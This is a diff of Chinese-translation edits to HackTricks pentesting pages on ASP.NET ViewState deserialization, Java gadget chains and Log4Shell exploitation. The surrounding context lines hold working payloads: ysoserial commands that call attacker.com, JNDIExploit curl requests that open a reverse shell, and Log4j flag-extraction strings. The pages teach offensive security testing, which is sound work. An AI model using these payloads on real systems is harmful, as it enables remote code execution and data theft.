+4. 对于 **4.5 版本及以上**，所有 MAC 和加密的组合（无论两者都为 true，还是一个为 true 另一个为 false）都需要 MachineKey。可以使用 "Blacklist3r" 识别 MachineKey。
 
 ### 测试用例：1 – EnableViewStateMac=false 和 viewStateEncryptionMode=false
 
@@ -44,7 +44,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
 
 ### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
 
-为了**为特定页面启用 ViewState MAC**，我们需要在特定的 aspx 文件中进行以下更改：
+为了**启用 ViewState MAC**，我们需要对特定的 aspx 文件进行以下更改：
 ```bash
 <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
 ```
@@ -92,7 +92,7 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp
 ```
 ![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
 
-如果你运气好并且找到了密钥，你可以使用 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**：
+如果你运气好并且找到了密钥，你可以使用 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
 ```
 ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
 
@@ -104,19 +104,19 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
 ```
 ### 测试用例：3 – .Net < 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true
 
-在这种情况下，不知道参数是否受到 MAC 保护。因此，值可能是加密的，您将**需要机器密钥来加密您的有效负载**以利用该漏洞。
+在这种情况下，不知道该参数是否受到MAC保护。因此，值可能被加密，您将**需要机器密钥来加密您的有效负载**以利用该漏洞。
 
 **在这种情况下，** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **模块正在开发中...**
 
-**在 .NET 4.5 之前，** ASP.NET 可以**接受**来自用户的**未加密** \_`__VIEWSTATE`\_ 参数，即使**`ViewStateEncryptionMode`** 已设置为 _**始终**_。ASP.NET **仅检查**请求中**`__VIEWSTATEENCRYPTED`** 参数的**存在**。**如果删除此参数并发送未加密的有效负载，它仍然会被处理。**
+**在 .NET 4.5 之前，** ASP.NET 可以**接受**来自用户的**未加密** \_`__VIEWSTATE`\_ 参数，即使**`ViewStateEncryptionMode`**已设置为_**始终**_。ASP.NET **仅检查**请求中**`__VIEWSTATEENCRYPTED`**参数的**存在**。**如果删除此参数并发送未加密的有效负载，它仍然会被处理。**
 
-因此，如果攻击者通过其他漏洞（如文件遍历）找到获取机器密钥的方法，可以使用在**案例 2**中使用的 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 命令，通过 ViewState 反序列化漏洞执行 RCE。
+因此，如果攻击者通过其他漏洞（如文件遍历）找到获取机器密钥的方法，可以使用**案例 2**中使用的[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)命令，通过ViewState反序列化漏洞执行RCE。
 
-- 从请求中删除 `__VIEWSTATEENCRYPTED` 参数，以利用 ViewState 反序列化漏洞，否则将返回 Viewstate MAC 验证错误，利用将失败。
+- 从请求中删除`__VIEWSTATEENCRYPTED`参数，以利用ViewState反序列化漏洞，否则将返回Viewstate MAC验证错误，利用将失败。
 
-### 测试用例：4 – .Net >= 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true/false，除了两个属性为 false
+### 测试用例：4 – .Net >= 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true/false，除非两个属性都为false
 
-我们可以通过在 web.config 文件中指定以下参数来强制使用 ASP.NET 框架，如下所示。
+我们可以通过在web.config文件中指定以下参数来强制使用ASP.NET框架，如下所示。
 ```xml
 <httpRuntime targetFramework="4.5" />
 ```
@@ -126,7 +126,7 @@ compatibilityMode="Framework45"
 ```
 如前所述，**值是加密的。** 然后，要发送**有效的有效负载，攻击者需要密钥**。
 
-您可以尝试使用 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)来查找正在使用的密钥：
+您可以尝试使用 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) 来查找正在使用的密钥：
 ```
 AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
 
@@ -151,7 +151,7 @@ ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe In
 
 ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
 
-成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的带外请求。这种利用方式在一个概念验证（PoC）中得到了演示，该 PoC 可以通过名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多细节，以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey，您可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)。
+成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的出带请求。这种利用方式在一个概念验证（PoC）中得到了展示，该 PoC 可以通过名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多详细信息，以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey，您可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)。
 
 ### 测试用例 6 – 使用 ViewStateUserKeys
 
@@ -162,9 +162,9 @@ ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe In
 ```
 ### 成功利用的结果 <a href="#poc" id="poc"></a>
 
-对于所有测试用例，如果 ViewState YSoSerial.Net 有效载荷 **成功** 工作，则服务器响应“**500 内部服务器错误**”，响应内容为“**此页面的状态信息无效，可能已损坏**”，并且我们获得 OOB 请求。
+对于所有测试用例，如果 ViewState YSoSerial.Net 有效负载 **成功** 工作，则服务器响应“**500 内部服务器错误**”，响应内容为“**此页面的状态信息无效，可能已损坏**”，并且我们获得 OOB 请求。
 
-查看 [进一步的信息在这里](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
+查看 [进一步信息这里](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
 
 ## 参考文献
 
diff --git a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
index 470a071ea..5dde9c8b8 100644
--- a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
+++ b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
@@ -55,11 +55,11 @@ InetAddress addr = getHostAddress(u);
 ```
 您可以看到对域名执行了 `getHostAddress`，**发起了 DNS 查询**。
 
-因此，这个类可以被**滥用**以**发起**一个**DNS 查询**，以**演示****反序列化**是可能的，甚至可以**外泄信息**（您可以将命令执行的输出作为子域名附加）。
+因此，这个类可以被**滥用**以**发起**一个**DNS 查询**来**证明****反序列化**是可能的，甚至可以**外泄信息**（您可以将命令执行的输出作为子域名附加）。
 
 ### URLDNS 负载代码示例
 
-您可以在 [URDNS 负载代码来自 ysoserial 这里](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)。但是，为了更容易理解如何编码，我创建了我自己的 PoC（基于 ysoserial 的那个）：
+您可以在 [URDNS 负载代码来自 ysoserial 这里](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)。但是，为了更容易理解如何编码，我创建了自己的 PoC（基于 ysoserial 的那个）：
 ```java
 import java.io.File;
 import java.io.FileInputStream;
@@ -125,7 +125,7 @@ return null;
 ### 更多信息
 
 - [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
-- 在最初的想法中，commons collections 负载被更改为执行 DNS 查询，这比提议的方法不太可靠，但这是文章：[https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
+- 在最初的想法中，commons collections 负载被更改为执行 DNS 查询，这比提议的方法不太可靠，但这是帖子：[https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
 
 ## GadgetProbe
 
@@ -148,11 +148,11 @@ return null;
 ## Java 反序列化扫描仪
 
 此扫描仪可以从 Burp 应用商店（**Extender**）**下载**。\
-该 **扩展** 具有 **被动** 和主动 **功能**。
+该 **扩展** 具有 **被动** 和 **主动** **功能**。
 
 ### 被动
 
-默认情况下，它会 **被动检查** 所有请求和响应，**寻找** **Java 序列化魔法字节**，如果发现任何，将呈现漏洞警告：
+默认情况下，它会 **被动检查** 所有请求和响应，**寻找** **Java 序列化魔术字节**，如果发现任何内容，将呈现漏洞警告：
 
 ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>)
 
@@ -160,12 +160,12 @@ return null;
 
 **手动测试**
 
-您可以选择一个请求，右键单击并选择 `Send request to DS - Manual Testing`。\
+您可以选择一个请求，右键单击并 `Send request to DS - Manual Testing`。\
 然后，在 _Deserialization Scanner Tab_ --> _Manual testing tab_ 中，您可以选择 **插入点**。并 **启动测试**（根据使用的编码选择适当的攻击）。
 
 ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png)
 
-即使这被称为“手动测试”，它也是相当 **自动化** 的。它将自动检查 **反序列化** 是否 **易受** **任何 ysoserial 负载** 的攻击，检查 Web 服务器上存在的库，并突出显示易受攻击的库。为了 **检查** **易受攻击的库**，您可以选择启动 **Javas Sleeps**、通过 **CPU** 消耗的 **sleeps**，或使用 **DNS**，正如之前提到的那样。
+即使这被称为“手动测试”，它也相当 **自动化**。它将自动检查 **反序列化** 是否 **易受** **任何 ysoserial 负载** 的攻击，检查 Web 服务器上存在的库，并突出显示易受攻击的库。为了 **检查** **易受攻击的库**，您可以选择启动 **Javas Sleeps**、通过 **CPU** 消耗的 **sleeps**，或使用 **DNS**，正如之前提到的那样。
 
 **利用**
 
diff --git a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
index bf8b07fc1..3d3f564fa 100644
--- a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
+++ b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
@@ -4,7 +4,7 @@
 
 ## Java Transformers to Rutime exec()
 
-在多个地方，您可以找到一个使用来自Apache common collections的transformers的java反序列化payload，如下所示：
+在多个地方，您可以找到一个使用来自Apache通用集合的变换器的Java反序列化有效负载，如下所示：
 ```java
 import org.apache.commons.*;
 import org.apache.commons.collections.*;
@@ -49,7 +49,7 @@ lazyMap.get("anything");
 ```java
 Runtime.getRuntime().exec(new String[]{"calc.exe"});
 ```
-或者**更准确地**说，最后将被执行的是：
+或者**更准确地说**，最后将被执行的是：
 ```java
 ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
 ```
@@ -153,7 +153,7 @@ _注意 `value` 是每个转换的输入和前一个转换的输出，从而允
 ```java
 ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
 ```
-注意，这里**解释了用于**ComonsCollections1**有效负载的工具**。但**如何开始执行这一切**仍然没有说明。你可以在[这里看到**ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java)，为了执行这个有效负载，它使用了一个`AnnotationInvocationHandler`对象，因为**当这个对象被反序列化时**，它将**调用**`payload.get()`函数，这将**执行整个有效负载**。
+注意，这里**解释了用于** **ComonsCollections1** **有效负载的工具**。但**如何开始执行这一切**仍然没有说明。你可以在[这里看到**ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java)，为了执行这个有效负载，它使用了一个`AnnotationInvocationHandler`对象，因为**当这个对象被反序列化时**，它将**调用**`payload.get()`函数，这将**执行整个有效负载**。
 
 ## Java 线程休眠
 
@@ -202,7 +202,7 @@ lazyMap.get("anything");
 ```
 ## 更多小工具
 
-您可以在这里找到更多小工具： [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
+您可以在这里找到更多小工具: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
 
 ##
 
diff --git a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
index 601306600..b38f59c28 100644
--- a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
+++ b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
@@ -61,21 +61,21 @@ CORBA（通用对象请求代理架构）使用**可互操作对象引用（IOR
 **搜索**将使用类似`ldap://localhost:389/o=JNDITutorial`的URL从LDAP服务器查找JNDITutorial对象并**检索其属性**。\
 **查找**旨在用于**命名服务**，因为我们想获取**绑定到名称的任何内容**。
 
-如果LDAP搜索是通过**SearchControls.setReturningObjFlag()**调用的，并且设置为`true`，则返回的对象将被重建。
+如果LDAP搜索是通过**SearchControls.setReturningObjFlag()设置为`true`调用的，则返回的对象将被重构**。
 
 因此，有几种方法可以攻击这些选项。\
 **攻击者可能会通过在LDAP记录中引入有效负载来污染它们**，这些有效负载将在收集它们的系统中执行（如果您可以访问LDAP服务器，这非常有用，可以**妥协数十台机器**）。另一种利用此漏洞的方法是执行**LDAP搜索中的MitM攻击**。
 
-如果您可以**使应用程序解析JNDI LDAP URL**，您可以控制将要搜索的LDAP，并可以返回利用代码（log4shell）。
+如果您可以**使应用程序解析JNDI LDAP URL**，您可以控制将要搜索的LDAP，并可以返回有效负载（log4shell）。
 
-#### 反序列化利用
+#### 反序列化漏洞
 
 ![](<../../images/image (275).png>)
 
-**利用是序列化的**，并将被反序列化。\
+**漏洞是序列化的**，并将被反序列化。\
 如果`trustURLCodebase`为`true`，攻击者可以在代码库中提供自己的类；如果不是，他将需要利用类路径中的小工具。
 
-#### JNDI引用利用
+#### JNDI引用漏洞
 
 使用**JavaFactory引用**攻击此LDAP更容易：
 
@@ -87,9 +87,9 @@ CORBA（通用对象请求代理架构）使用**可互操作对象引用（IOR
 
 [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)引入了`jndi`查找功能。此功能允许通过JNDI检索变量。通常，键会自动以`java:comp/env/`为前缀。但是，如果键本身包含**":"**，则不会应用此默认前缀。
 
-在键中存在**:**时，例如`${jndi:ldap://example.com/a}`，将**没有前缀**，并且**LDAP服务器会查询该对象**。这些查找可以在Log4j的配置中使用，也可以在记录的行中使用。
+在键中存在**:**时，例如`${jndi:ldap://example.com/a}`，则**没有前缀**，并且**LDAP服务器会查询该对象**。这些查找可以在Log4j的配置中使用，也可以在记录的行中使用。
 
-因此，获取RCE所需的唯一条件是**处理用户控制信息的Log4j脆弱版本**。由于这是一个被Java应用广泛使用的库来记录信息（包括面向互联网的应用），因此通常会有log4j记录例如接收到的HTTP头信息，如User-Agent。然而，log4j**不仅用于记录HTTP信息，还用于记录开发人员指示的任何输入和数据**。
+因此，获取RCE所需的唯一条件是**处理用户控制的信息的Log4j脆弱版本**。由于这是一个被Java应用广泛使用的库来记录信息（包括面向互联网的应用），因此通常会有log4j记录例如接收到的HTTP头信息，如User-Agent。然而，log4j**不仅用于记录HTTP信息，还用于记录开发人员指示的任何输入和数据**。
 
 ## Log4Shell相关CVE概述
 
@@ -111,11 +111,11 @@ CORBA（通用对象请求代理架构）使用**可互操作对象引用（IOR
 
 ### **CVE-2021-45105** **\[高]**
 
-Log4j 2.16.0包含一个DoS缺陷，促使发布`log4j 2.17.0`以修复该CVE。更多详细信息请参见BleepingComputer的[报告](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)。
+Log4j 2.16.0包含一个DoS缺陷，促使发布`log4j 2.17.0`以修复该CVE。更多细节见BleepingComputer的[报告](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)。
 
 ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
 
-影响log4j版本2.17，此CVE要求攻击者控制log4j的配置文件。它涉及通过配置的JDBCAppender进行潜在的任意代码执行。更多详细信息请参见[Checkmarx博客文章](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)。
+影响log4j版本2.17，此CVE要求攻击者控制log4j的配置文件。它涉及通过配置的JDBCAppender进行潜在的任意代码执行。更多细节可在[Checkmarx博客文章](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)中找到。
 
 ## Log4Shell利用
 
@@ -211,7 +211,7 @@ Any other env variable name that could store sensitive information
 >
 > **更多信息**（_如 RMI 和 CORBA 向量的限制_）**请查看之前的 JNDI 命名参考部分**或 [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
 
-### RCE - Marshalsec 与自定义有效负载
+### RCE - Marshalsec 与自定义有效载荷
 
 您可以在 **THM box** 中测试此内容： [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
 
@@ -231,18 +231,18 @@ e.printStackTrace();
 }
 }
 ```
-将Java文件编译成类文件，使用：`javac Exploit.java -source 8 -target 8`。接下来，在包含类文件的目录中启动一个**HTTP服务器**，使用：`python3 -m http.server`。确保**marshalsec LDAP服务器**引用此HTTP服务器。
+将Java文件编译为类文件，使用：`javac Exploit.java -source 8 -target 8`。接下来，在包含类文件的目录中启动一个**HTTP服务器**，使用：`python3 -m http.server`。确保**marshalsec LDAP服务器**引用此HTTP服务器。
 
-通过发送类似的有效负载来触发易受攻击的Web服务器上利用类的执行：
+通过发送类似的有效负载来触发在易受攻击的Web服务器上执行漏洞类：
 ```bash
 ${jndi:ldap://<LDAP_IP>:1389/Exploit}
 ```
-**注意：** 此漏洞依赖于Java的配置，以允许通过LDAP加载远程代码库。如果这不可行，请考虑利用受信任的类进行任意代码执行。
+**注意：** 此漏洞依赖于Java的配置，以允许通过LDAP加载远程代码库。如果这不被允许，请考虑利用受信任的类进行任意代码执行。
 
 ### RCE - **JNDIExploit**
 
 > [!NOTE]
-> 请注意，出于某种原因，作者在发现log4shell后将此项目从github中删除。您可以在[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)找到缓存版本，但如果您想尊重作者的决定，请使用其他方法来利用此漏洞。
+> 请注意，由于某种原因，作者在发现log4shell后将此项目从github中删除。您可以在[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)找到缓存版本，但如果您想尊重作者的决定，请使用其他方法来利用此漏洞。
 >
 > 此外，您无法在时光机中找到源代码，因此要么分析源代码，要么执行jar文件，知道您不知道自己在执行什么。
 
@@ -273,7 +273,7 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
 curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
 curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
 ```
-当发送攻击时，您将在执行 **JNDIExploit-1.2-SNAPSHOT.jar** 的终端中看到一些输出。
+在发送攻击时，您将在执行 **JNDIExploit-1.2-SNAPSHOT.jar** 的终端中看到一些输出。
 
 **请记得检查 `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` 以获取其他利用选项。此外，如果需要，您可以更改 LDAP 和 HTTP 服务器的端口。**
 
@@ -292,7 +292,7 @@ _这个攻击使用自定义生成的java对象将在像**THM solar room**这样
 
 ### RCE - JNDI-Injection-Exploit-Plus
 
-[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) 是另一个生成**可用JNDI链接**的工具，并通过启动RMI服务器、LDAP服务器和HTTP服务器提供后台服务。\
+[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) 是另一个生成**可用JNDI链接**的工具，并通过启动RMI服务器、LDAP服务器和HTTP服务器提供后台服务。
 
 ### RCE - ysoserial & JNDI-Exploit-Kit
 
@@ -347,13 +347,13 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
 
 Log4j 的 [**安全页面**](https://logging.apache.org/log4j/2.x/security.html) 有一些有趣的句子：
 
-> 从版本 2.16.0（对于 Java 8）开始，**消息查找功能已完全删除**。**配置中的查找仍然有效**。此外，Log4j 现在默认禁用对 JNDI 的访问。配置中的 JNDI 查找现在需要显式启用。
+> 从版本 2.16.0（对于 Java 8）开始，**消息查找功能已被完全移除**。**配置中的查找仍然有效**。此外，Log4j 现在默认禁用对 JNDI 的访问。配置中的 JNDI 查找现在需要显式启用。
 
-> 从版本 2.17.0（以及 Java 7 和 Java 6 的 2.12.3 和 2.3.1）开始，**仅在配置中的查找字符串被递归扩展**；在任何其他用法中，仅解析顶级查找，任何嵌套查找都不会被解析。
+> 从版本 2.17.0（以及 Java 7 和 Java 6 的 2.12.3 和 2.3.1）开始，**仅配置中的查找字符串被递归扩展**；在任何其他用法中，仅解析顶级查找，任何嵌套查找都不会被解析。
 
-这意味着默认情况下，您可以 **忘记使用任何 `jndi` 漏洞**。此外，要执行 **递归查找**，您需要进行配置。
+这意味着默认情况下你可以 **忘记使用任何 `jndi` 漏洞**。此外，要执行 **递归查找**，你需要进行配置。
 
-例如，在该 CTF 中，这在文件 log4j2.xml 中进行了配置：
+例如，在那个 CTF 中，这在文件 log4j2.xml 中进行了配置：
 ```xml
 <Console name="Console" target="SYSTEM_ERR">
 <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
@@ -363,36 +363,36 @@ Log4j 的 [**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
 ### 环境查找
 
 在 [这个 CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) 中，攻击者控制了 `${sys:cmd}` 的值，并需要从环境变量中提取标志。\
-如在 [**之前的有效载荷**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) 中所示，有不同的方法可以访问环境变量，例如：**`${env:FLAG}`**。在这个 CTF 中这没有用，但在其他现实场景中可能会有用。
+在 [**之前的有效载荷**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) 中可以看到，有不同的方法来访问环境变量，例如：**`${env:FLAG}`**。在这个 CTF 中这没有用，但在其他现实场景中可能会有用。
 
 ### 异常中的提取
 
-在 CTF 中，你 **无法访问 java 应用程序的 stderr**，但 Log4J **异常会发送到 stdout**，这在 python 应用程序中被打印。这意味着触发异常时我们可以访问内容。提取标志的异常是：**`${java:${env:FLAG}}`**。这有效是因为 **`${java:CTF{blahblah}}`** 不存在，异常将显示标志的值：
+在 CTF 中，你 **无法访问 java 应用程序的 stderr**，但 Log4J **异常会发送到 stdout**，这在 python 应用程序中被打印。这意味着触发异常时我们可以访问内容。提取标志的异常是：**`${java:${env:FLAG}}`**。这有效是因为 **`${java:CTF{blahblah}}`** 不存在，异常的值将显示标志：
 
 ![](<../../images/image (1023).png>)
 
 ### 转换模式异常
 
-仅提及，你还可以注入新的 [**转换模式**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) 并触发将记录到 `stdout` 的异常。例如：
+仅提及，你还可以注入新的 [**转换模式**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) 并触发将被记录到 `stdout` 的异常。例如：
 
 ![](<../../images/image (683).png>)
 
-这在提取错误消息中的数据时并没有被发现有用，因为查找在转换模式之前没有解决，但它可能对其他事情如检测有用。
+这在提取错误消息中的数据时并没有被发现有用，因为查找在转换模式之前没有被解决，但它可能对其他事情如检测有用。
 
 ### 转换模式正则表达式
 
 然而，可以使用一些 **支持正则表达式的转换模式** 通过使用正则表达式和滥用 **二分查找** 或 **基于时间** 的行为来提取信息。
 
-- **通过异常消息进行二分查找**
+- **通过异常消息的二分查找**
 
 转换模式 **`%replace`** 可以用来 **替换** **字符串** 中的 **内容**，甚至使用 **正则表达式**。它的工作方式是：`replace{pattern}{regex}{substitution}`\
-滥用这种行为，你可以使替换 **在正则表达式匹配** 字符串中的任何内容时触发异常（如果未找到则不触发异常），如下所示：
+滥用这种行为，你可以使替换 **在正则表达式匹配到字符串中的任何内容时触发异常**（如果未找到则不触发异常），如下所示：
 ```bash
 %replace{${env:FLAG}}{^CTF.*}{${error}}
 # The string searched is the env FLAG, the regex searched is ^CTF.*
 ## and ONLY if it's found ${error} will be resolved with will trigger an exception
 ```
-- **基于时间的**
+- **基于时间**
 
 正如前一节提到的，**`%replace`** 支持 **regexes**。因此，可以使用来自 [**ReDoS 页面**](../regular-expression-denial-of-service-redos.md) 的有效载荷来导致 **超时**，如果找到标志。\
 例如，像 `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` 的有效载荷将在该 CTF 中触发 **超时**。
@@ -414,11 +414,12 @@ Log4j 的 [**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
 > }{#}{######################################################}
 > }{#}{######################################################}
 > }{#}{######################################################}
+> }{#}{######################################################}
 > ```
 >
-> 如果标志以 `flagGuess` 开头，整个标志将被 29 个 `#` 替换（我使用这个字符是因为它可能不会是标志的一部分）。**然后将结果中的每个 29 个 `#` 替换为 54 个 `#`**。这个过程重复 **6 次**，导致总共 ` 29*54*54^6* =`` `` `**`96816014208`** **`#`！**
+> 如果标志以 `flagGuess` 开头，则整个标志将被 29 个 `#` 替换（我使用这个字符是因为它可能不会是标志的一部分）。**然后将结果中的每个 29 个 `#` 替换为 54 个 `#`**。这个过程重复 **6 次**，导致总共 ` 29*54*54^6* =`` `` `**`96816014208`** **`#`！**
 >
-> 替换这么多的 `#` 将触发 Flask 应用程序的 10 秒超时，这将导致 HTTP 状态代码 500 被发送给用户。（如果标志不以 `flagGuess` 开头，我们将收到非 500 状态代码）
+> 替换如此多的 `#` 将触发 Flask 应用程序的 10 秒超时，这反过来将导致 HTTP 状态代码 500 被发送给用户。（如果标志不以 `flagGuess` 开头，我们将收到非 500 状态代码）
 
 ## 参考文献
 
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
index 92b1478fd..ba75d4da4 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
@@ -1,4 +1,4 @@
-# NodeJS - \_\_proto\_\_ & prototype Pollution
+# NodeJS - \_\_proto\_\_ 和原型污染
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -98,7 +98,7 @@ console.log("Honk!")
 }
 car1.constructor.prototype.isElectric = true
 ```
-这仅影响通过 `Vehicle` 构造函数创建的对象，使它们具有 `beep`、`hasWheels`、`honk` 和 `isElectric` 属性。
+这仅影响从 `Vehicle` 构造函数创建的对象，使它们具有 `beep`、`hasWheels`、`honk` 和 `isElectric` 属性。
 
